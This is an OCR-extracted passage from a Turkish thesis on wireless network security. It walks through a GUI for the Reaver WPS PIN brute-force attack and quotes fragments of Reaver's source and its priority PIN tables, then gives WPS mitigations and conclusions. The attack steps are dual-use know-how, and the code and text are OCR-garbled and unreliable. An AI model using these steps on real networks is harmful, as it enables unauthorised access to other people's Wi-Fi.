kapsama alaninda bulunan WPS destekli kablosuz aglar1 bulmak ve ekstra


http://www.tacnetsol.com/news/2012/1/2/reaver-now-goes-to-11.html
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ozellikleri eklemek icin kullanilan Wash -i komutunu yazmadan, sadece arka
planda c¢alistirarak onun yerine gorsel bir sekilde tarama islemleri
gerceklesmektedir .(Daha fazla secenekler; 5 Ghz kanallarda tarama yapmak
veri biitlinliigli hatalarini umursamamak, 1 saniyeden 15 dakikaya kadar
tarama siiresi, tiim kanallarda ve ayrica 1-14 arasinda segilebilecek olan

istenilen kanallarda tarama yapmak )

Sekil 4.38. Reaver gorselin tarama 6zelliklerinin belirlenmesi

3. Kablosuz ag kartinin kapsama alaninda bulunan erisim noktalarini tespit
ettikten sonra saldirt yapilmak istenen WLAN(Wireless Local Area Network-
Kablosuz yerel alan ag1) secimi. Bu asama diger asamalara oranla ¢cok daha
karmasiktir ¢linkii burada saldir1 yapilabilecek olan WLAN’larin SSID si,
RSSI degeri dedigimiz elektro manyetik girisime neden olabilecek dalgalara
kars1 koyma giicii (RSSI sifirin altinda degerler alir sifira yakin olan her
zaman daha iyidir.), saldir1 yapilacak olan erisim noktasinin BSSID’si (MAC
adresi). Bunlarmm hepsini se¢imini komut satir1 arayiiziinii kullanmadan
Reaver gorselden isaretlemek sartiyla secilebilmektedir.

Sekil 4.39. Reaver gorsel kullanarak hedef tespiti
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4. Islemin son sirasinda ise Reaver komutunu ¢agirmak icin kullanilan arayiiz
bulunmaktadir. (Burada erisim noktasi adi, fiziksel adresi (MAC) ve yayin
yapilan kanal numarasini vermektedir. PIN denemeleri arasindaki siireyi
ayarlamak mesela (0.5 ,1,2) gibi rakamlar verilebilir ve alttaki sekilde
goriindigii lizere —A ,bagka bir uygulamanin iligkilendirme yapma istegini
yok sayma, -E ,EAP paketlerinde olusabilecek bir hata sonucunda her WPS
oturumunu kapatmak ,-N yanlis olan paketler i¢in not acknowledge
paketlerini gonderme gibi secenekler kullanabilmektedir ve sadece galistir
diigmesine basarak WPS saldiris1 gergeklestirilmektedir).

Sekil 4.40. Reaver gorsel kullanarak WPS 06zellikli erisim noktasina saldirinin
baslatilmasi

6. Tim bu yapilan islemler sonucunda yaklasik olarak 6-10 saatlik bir siire
zarfinda sifre elde edilir. Her ne kadar WPA2(AES/PSK) kullanilsa bile
istemcinin PIN numarasinit bulmasi durumunda erisim noktasi sifresini
istemciye yollar ve sifre boylelikle elde edilir.
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e

Sekil 4.41. Reaver gorsel kullanarak sifrenin elde edilmesi

Bu saldirmin faydalandigir agiklik sadece donanim yazilimi giincellemesi ile

yararlanabilecegi icin, asagidaki ¢dzlimlerden birinin uygulanmasi onerilir:

= WPS cihaziniz tarafindan izin verilirse, WEB yo0netim ara yliziiniizii
kullanarak WPS 6zelligini devre dis1 birakilmalidir ve sonrasinda kablosuz
baglant1 manuel olarak ayarlanmalidir.

= Bu saldiriya agikliktan bahseden giincellenmis donanim yazilimi i¢in WPS

cihazin ireticisinin destek web sitesinin kontrol edilmesi Onerilir.

Yonlendiricide WPS varsa, korumast i¢in iki yolu vardir:

1. Yonlendirici lizerindeki web ara yiizii ile WPS devre dis1 birakilabilir. Bazi
durumlarda, hatta WPS’yi kapatildiginda bile, yonlendirici dinlemez.
WPS’nin gercekten kapandigindan emin olmak icin sunlar1 yapin: Kablosuz
bir Windows 7 makine bulun ve makineden mevcut kablosuz bagl agi

kaldirin ve yeniden baglanmaya calisin. Eger WPS PIN icin sizi harekete
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gecirirse, WPS halen etkindir. WPS sifresi i¢in sizi harekete gegiriyorsa, bu
durumda WPS basarili bir sekilde devre dist birakilmistir.

2. Donanim yazilimi giincellemesi. Bu WPS konusunu beraber dogrulamak,
yonlendiriciye bir donanim yazilimi glincellemesi gerektirecektir. Ayarlamak
gercekten kolay bir sey olmalidir, boylelikle yonlendirici iireticileri kisa

stirede yonlendirici giincellemelerini piyasaya siirmelidirler.

Reaver Source kod

1. Init.c

[k 6nce : WPS konfigiirasyonu olup olmadigini denetlemektedir.
wpsconf = malloc(sizeof(struct wps_config));
if(!wpsconf)
{
perror("malloc");
goto end
}
Sonra WPS - register konfigiirasyonu denetlemektedir
reg_conf = malloc(sizeof(struct wps_registrar_config));
if(!reg_conf)
{
perror("malloc");
goto end;
}
Windows 7 ve WPS kullanilmigsa asagidaki bilgileri elde edilir .
wps->wps->dev.device_name = WPS_DEVICE_NAME; cihaz ismi
wps->wps->dev.manufacturer = WPS MANUFACTURER; iiretim sirket ismi
wps->wps->dev.model name = WPS MODEL NAME; model ad1
wps->wps->dev.model number = WPS MODEL NUMBER; model numarasi
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2. PINS.c

Genellikle bu programin amaci anahtar tablodan ulusturmaktadir PIN bulmak i¢in iki
par¢a P1&P2 olarak aramaktadir ilk P1°de meshur kullanimi erisim noktalarinda PIN
degerlerini denemektedir
PIN ’nin ilk yarsini bulmak i¢in kullanilan islem

if(!get_static_p1())

{

/>I<
* Look for P1 keys marked as priority. These are pins that have been

* reported to be commonly used on some APs and should be tried

first.
*/
for(index=0, i=0; i<P1_SIZE; i++)
{
if(k1[i].priority == 1)
{
set_pl(index, kl1[i].key);

index++;

}
Ikinci PIN P2’in degerini bulmak igin erisim noktalarinda ¢ok kullanilan PIN
degerlerini aramaktadir sonra rasgele degerleri denemektedir.
PIN ’nin ikinci yarsin1 bulmak i¢in kullanilan iglem
if(!get_static_p2())
{

/>l<
* Look for P2 keys statically marked as priority. These are pins that
have been
* reported to be commonly used on some APs and should be tried
first.

*/
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for(index=0, i=0; i<P2_SIZE; i++)

{
if(k2[i].priority == 1)
{
set_p2(index, k2[i].key);
index++;
}
}

for(i=0; index < P2_SIZE; i++)

{
if('k2[i].priority)
{
set_p2(index, k2[i].key);
index++;
}
}
}
else
{
/* If the second half of the pin was specified by the user, only use that
*/
for(index=0; index<P2_SIZE; index++)
{
set_p2(index, get_static_p2());
}
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3. Keys.c

PIN’nin ilk pargasi olan P1 i¢in anahtar endeks tablosu olusturmaktadir
10* = 10000
struct key k1[P1_SIZE] = {

{"1234", 1}, 1: dncelik degeridir 6rnek

{ "0000", 1 }, 1234 ve 9999 ve 0000 gibi

{ "0001", 0 }, degerleri 6nce denenmektedir.
{ "0002", 0 },

Sonra PIN’nin ikinci pargasi olan P2 i¢in bu deva ii¢ basamakl1 anahtar endeks
tablosu olusturmaktadir.
10° = 1000
struct key k2[P2_SIZE] = {

{"567", 1},
{ "000", 1 },
{"001",0 },
{ "002",0 },
{ "003",0 },
{"004",0 },
{ "005",0 },
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5.SONUCLAR VE ONERILER

Aglar oncelikle kablolu sekliyle karsimiza ¢ikmistir, ancak isteklerin artmasi ve
teknolojinin gelismesiyle, kablosuz aglar da yasantimizda yerini almaya baglamistir.
Kablosuz aglarin ortaya ¢ikmasindan beri bu alandaki teknolojik ilerlemesi ¢ok hizli
olmustur. Ancak bu hizli ilerlemeyle birlikte giivenlik aciklar1 da ortaya ¢cikmustir. 11k
nesil kablosuz aglar giivenligi seg¢enekli olarak tanimlamistir, yeni nesil glivenlik

protokolleri ise kablosuz aglara giriste dogrulamay1 zorunlu hale getirmistir.

Bu calismada 802.11 kablosuz aglarinda giivenlik konusu ele alinmistir, gelistirilen
giivenlik mekanizmalar1 incelenmis farkli gilivenlik mekanizmalar1 sonucunda
goriilmistiir ki; WEP ve WPA sifreleme teknikleri kablosuz aglarda giivenligi temin
etmemektedir. Gilivenli bir kablosuz ag olusturmak icin WPA2 standardinin
kullanilmas1 gerekmektedir. Bu standart ile daha giiclii bir sifreleme algoritmasi olan
AES ve kullanic1 ile erisim noktasi arasinda karsilikli bir kimlik dogrulamasi

gerektiren yontemi kullanilmaktadir.

Ik olarak gelistirilen WEP, RC4 (Rivest Cipher) sifreleme algoritmasindaki yapisal
(Xor gibi) eksikliklerden dolayr zorunlu ihtiyaglar nedeniyle giivenlik agiklar
kapatilarak WPA’ya gecilmistir. Aslinda WPA yeni bir denetim sistemi olmaktan
cok acele ile ¢ikarilan WEP’in gelistirilmis halidir. Sadece RC4 sifreleme
algoritmasinin bosluklari doldurularak ayni temel tizerine TKIP sifreleme algoritmasi
ve bir kac yapisal degisiklige gidilmistir. Yani binanin temelleri giiclendirilmistir.
Gegici bir siire gilivenlik ihtiyaclarini karsilayan WPA artik yerini neredeyse
tamamen farkli veri denetim mekanizmasi olan WPA2’ye devretmistir. WPA2’yi
WPA’dan ayiran en onemli Ozelligi sifreleme teknolojisi olan AES kullanmasi.
WPA2 giiniimiiziin en giivenilir kablosuz ag iletisim denetim mekanizmasidir. WEP
basit araglarla 10-15 dakikada kirilabilmektedir yani giivenli degildir. WPA ve

sonrasinda gelistirilen WPA?2 ise yeterli giivenlik giiciine sahiptir.
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Bu c¢aligmada, kablosuz aglarin gilivenligi iizerine detayli olarak incelemeler
yapilmistir. Laboratuvar ortami kurularak giiniimiizde mevcut olan kablosuz ag
sifreleme algoritmalar1 ile sifrelenmis aglarin sifrelerinin = kirilma  islemi
gergeklestirilmistir.  Yapilan calisma sonucunda, WEP sifreleme algoritmasinin
dakikalar i¢inde kirilabildigi goriilmiistir. WPA ve WPA2 sifreleme algoritmalart ise
sozliik saldirist ile, kullanilan sozligiin kalitesine bagli olarak kirilabilme ihtimalinin
oldugu sonucuna ulasilmistir. Son donem erisim noktalarina getirilen WPS
teknolojisine sahip olan cihazlarda ise sifreleme algoritmasi her ne olursa olsun en

fazla 10 saat igerisinde kirilabildigi sonucuna ulagilmistir.

Bu calismada, WPS teknolojisi kullanilarak yapilandirilan WPA2  sifreleme
algoritmasinin aciklarindan yararlanilarak sifre kirma islemi gerceklestirilmistir. Bu
islemi gerceklestirebilmek i¢in komut satir1 tabanli reaver isimli aractan
esinlenilmistir. Reaver aracinin kullanim zorlugunu ortadan kaldirabilmek igin, agik
kaynak kodlu ortam iizerinde python dili kullanilarak bir arayiiz hazirlanmistir.
Ayrica, sunulan bu arayiiz sayesinde, istenildigi kadar monitdr arayiiz sayisi
belirlenebilmektedir. Bu sayede, saldir1 i¢in tek bir monitdér araylize bagimli olma
durumu ortadan kaldirilarak saldiriya baslangic asamasi ¢ok daha esnek bir hala
getirilmistir. Gelistirilen arayliz ile saldirinin gergeklestirilmesi, sonug¢larin alinmasi

ve alian sonuglarin yorumlanmasi ¢ok daha kolay bir hale getirilmistir.

Elde edilen bu bilgiler 1s181nda, kablosuz aglar her ne kadar kolaylik saglasa da,
giivenligin 6dnemli oldugu durumlarda kullanimi i¢in gerekli olan tiim Onlemlerin
alinmas1 ve saldir1 tespit sistemleri kullanilarak izlenmesi gerekmektedir. Genel
kablosuz internet kullanicilar1 icin 1ise, kablosuz ag giivenlik farkindalhig

olusturulmal1 ve kullanicilar bu yonde bilgilendirilmelidir.
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